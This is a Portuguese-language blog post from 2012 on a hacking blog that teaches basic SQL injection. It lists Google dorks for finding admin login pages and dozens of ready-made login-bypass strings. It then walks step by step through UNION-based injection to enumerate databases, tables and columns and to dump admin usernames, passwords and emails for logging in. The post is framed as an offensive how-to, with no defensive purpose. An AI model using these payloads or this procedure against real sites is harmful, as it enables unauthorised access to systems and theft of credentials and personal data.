domingo, 17 de junho de 2012

sobre Ataques SQLi Básicos

 sobre Ataques SQLi Básicos   


  (Pt1 - Utilizando Serviços s/ Registro ) 
  (Pt2 - Acessando a Base de Dados )


  1. Parte 1 ultilizando o serviço sem Registro

(Econtrando sites vulneraveis)

(Injetando código e conseguindo acesso aos serviços)

||1-  Encontrando Sites Vulneraveis: ||
Para esta aplicação do SQLi oque procura-se na verdade, são paginas de admin/login...
as quais sofrerão o inject nos campos de usuario e senha. Pode-se procurar com
admin/login - dorks, ou sqli scanners. Seguem algumas boas dorks:

allinurl:/webadmin/default.asp          allinurl:/menu_admin/default.asp
allinurl:/menu_admin/login.asp          allinurl:/menu_admin/index.asp
allinurl:/news/admin/                   allinurl:/noticias/admin/
allinurl:/portal/admin/                 allinurl:/cadastro/admin/
allinurl:/home/admin.asp                allinurl:/site/admin/
allinurl:/home/admin/default.asp        allinurl:/home/admin/index.asp
allinurl:/web/admin/index.asp           allinurl:/home/admin/login.asp
allinurl:admin/default.asp              allinurl:admin/index.asp
allinurl:admin/login.asp                allinurl:admin/admin.asp
allinurl:/admin/default.asp             allinurl:/admin/entrar.asp
allinurl:/admin/login.asp               allinurl:/admin/index.asp
allinurl:/admin/senha.asp               allinurl:/admin/password.asp
allinurl:/adm/default.asp               allinurl:/login/login.asp
allinurl:/login/default.asp             allinurl:/login/index.asp
allinurl:/webadmin/default.asp          allinurl:/webmaster/login.asp
allinurl:/webadmin/default.asp          allinurl:/webadmin/index.asp

OBS.: Caso caia direto na pagina de admin/login, há grandes chances de vulnerabilidade.

||2-  Injetando código e conseguindo acesso aos serviços: ||

O ataque aqui acontece apenas com a inserção de códigos SQL que venham alterar a sintaxe das expressões booleanas ( verdadeiro ou falso ) resultantes, pois assim é feito o controle de quem deve ou não ter acesso aos serviços de determinado site. Vou deixar aqui algumas strings prontas para inserção nos forms de user e senha , lembrando que A MESMA STRING DEVE SER INSERIDA NOS DOIS CAMPOS. Caso o atacante domine a linguagem SQL, podem ser boladas várias outras strings.
Seguem as strings, cada linha tem duas strings diferentes:

hi ' or 1=1 --          hi ' or ' a'='a
hi") or ("a"="a         hi ') or (' a'='a
' or 0=0 --             admin ' - -
or 0=0 --               "or 0=0 --
b' or ' 1='             ' or ' 1
' or '|                 ' or '1
' or ''='               ' or 'a'='a
') or ('a'='a           ' or 1=1--
' or 0=0 #              ' or '1'='1
or 0=0 #                "or 0=0 #
"or" x"="x              ' or ' x'='x
"or" a"="a              ') or (' x'='x
") or ("a"="a           ') or (' a'='a
hi "or 1=1 --           hi "or" a"="a
"or 1=1 --              ' or 1=1 --
' or a=a --             or 1=1 --
"or 1=1 --              ' or 1=1 --
' or a=a --             or 1=1 --
‘ or ’1                     b’ or ‘ 1=’
‘ or ‘a’=’a             ‘ or ‘|
‘ or 1=1–           ‘ or ”=’
‘ or ’1′=’1             ‘) or (‘a’=’a
‘ or 0=0 –          admin ‘ – -
or 0=0 –              “or 0=0 –
“or 0=0 #             ‘ or 0=0 #
‘ or ‘ x’=’x            or 0=0 #
‘) or (‘ x’=’x          “or” x”=”x
“or 1=1 –           ‘ or 1=1 –
‘ or a=a –          or 1=1 –
‘) or (‘ a’=’a          “or” a”=”a
hi “or” a”=”a           “) or (“a”=”a
hi ‘ or 1=1 –               hi “or 1=1 –
hi ‘) or (‘ a’=’a       hi ‘ or ‘ a’=’a
‘ or ‘x’=’x             hi”) or (“a”=”a

Parte 2 acessando a parte base dados

(Acessando o WebSite --> 1,2,3)
(Capturando Informações do alvo --> 4,5)
( O Trabalho Sujo --> 6,7,8,9)
*** Acessando o WebSite ***

Encontrando Sites Vulneráveis:

Para tal feito, pode-se utilizar de sqli-dorks no google, ou sqli scanners.
Após encontrar a url do site, joge ao final do parametro um " ' ", se sair

um erro do Banco de Dados, o site é vulneravel.  ;)
Ex.:   http://www.sitevulneravel.com/index.php?id=80'&numb=797' ou

http://www.sitevulneravel.com/index.php?id='80&numb='797
Warning: mysql_fetch_array(): supplied argument
is not a valid MySQL result resource in
/home1/michafj0/public_html/gallery.php on line 7

||2-  Determinando o numero de colunas: ||

Para descobrirmos o numero de colunas, utilizaremos do comando "ORDER BY X--"
do sql, X sera o numero da coluna, iremos iterando-o ate sair uma mensagem de erro, ao sair do erro, o numero de colunas sera igual a (X - 1).

Ex.:   http://portalDosNammbies.com/buy.php?id=1 ORDER BY 1-- <---No error

http://portalDosNammbies.com/buy.php?id=1 ORDER BY 2-- <---No error

http://portalDosNammbies.com/buy.php?id=1 ORDER BY 3-- <---No error

http://portalDosNammbies.com/buy.php?id=1 ORDER BY 4-- <---No error

http://portalDosNammbies.com/buy.php?id=1 ORDER BY 5-- <---ERROR!

Obs.:  O numero de colunas sera ( 5 - 1 = 4).

||3-  Procurando por Colunas vulneráveis:     ||

Faremos tal procura utilizando das querys SELECT e UNION, que unirão todos os dados necessários em um só local. Sem esquecer do hífen duplo ao final dos numeros de colunas.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,2,3,4--

OBS.: Após a injeção deste código, os numeros que aparecerem na página serão referentes as colunas vulneráveis á injeção de código, através delas, iremos conseguir informações.
|| ***Capturando Informações do Alvo*** ||
||4- Determinando a versão SQL do servidor:   ||

================================================
A descoberta da versão SQL que esta rodando no servidor é um passo muito importante
pois, por exemplo, as injeções a serem feitas para determinado objetivo são diferen-
tes para o SQL na versão 4 e para o SQL na versão 5, aqui serão abordadas aplicações
ao SQL 5 pelo fato deste, ser mais atual. Tanto neste como no passo seguinte oque fa-
remos nada mais será do que substituir as colunas vulneráveis por constantes SQL que
trarão as informações desejadas.Caso não apareca o nome da versão, tente com as
funções unhex() e hex().


Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4--
ou
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--

Obs.: Caso apareça a versão 5 está ok, caso contrario pesquise outro material que ensine a injeção neste para tal versão

||5- Procurando o nome das bases de Dados:   ||
Este passo não é tão necessário para conseguir nossos objetivos, mas será interessante para eventuais necessidades suas, abordá-lo. Primeiro pegaremos o nome de todas as data- bases e depois o nome da database a qual estamos atualmente.


Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from

information_schema.schemata--

http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4--

||      ***  O Trabalho Sujo  ***       ||

||6- Procurando o nome das tabelas:   ||
O processo é semelhante ao passo anterior apenas com um pouco de código SQL a mais.

Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables

WHERE table_schema=database()--

http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE

table_schema=database() LIMIT 0,1--

http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE

table_schema=database() LIMIT 30,1--

||7- Procurando o nome das colunas:
Agora que nós já temos todos os nomes das tabelas, podemos escolher as que conteem
o conteudo de nosso interesse e let's play.

Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM

information_schema.columns WHERE table_name="Admin"--

Obs.: Caso neste ponto você receba erros de sintaxe, acesse este site: http://www.swingnote.com/tools/texttohex.php
Faça a conversão do nome da tabela, para hexadecimal e tente novamente.

||8- Pegando o conteudo das colunas:   ||

=========================================
Estamos quase lá, a única coisa que teremos que fazer é pegarmos o conteudo presente nas colunas
da tabela escolhida e logarmos, ou não, depois.

Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM

db123.Admin--

Obs.: Neste caso 0x3a é o valor hexadecimal referente a ":"

||8- Fazendo login com as informacoes: ||
Esta e a ultima parte do papper, na verdade nn há muuito oque falar por aqui, é meio logico oq fazer apos encontrar as informacoes, mas varia de fins e fins...  O que e de costume fazer e conseguir dados via url mesmo, repitindo e variando o passo a cima. Ou procurar, via metodo anterior, informacoes de admin banco de dados e entaum se conectar ao banco, conseguindo acesso a todos os dados de uma forma muito mais
organizada e convencional.

Outro ponto interessante de abordagem e' a questao de achar paginas de login, admin. Podem ser tentadas paginas do tipo login.php|asp, user.php|asp, admin.php|asp e outras muuitas possibilidades. Va ao oraculo de dois olhos G00GL3 e procure por: "admin pages list" para achar uma infinidade de nomes de paginas, ate encontrala. Caso vc seja aquele script kiddie nato, procure por "admin page Scanner". Apos encontrar, so felicidades.




← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86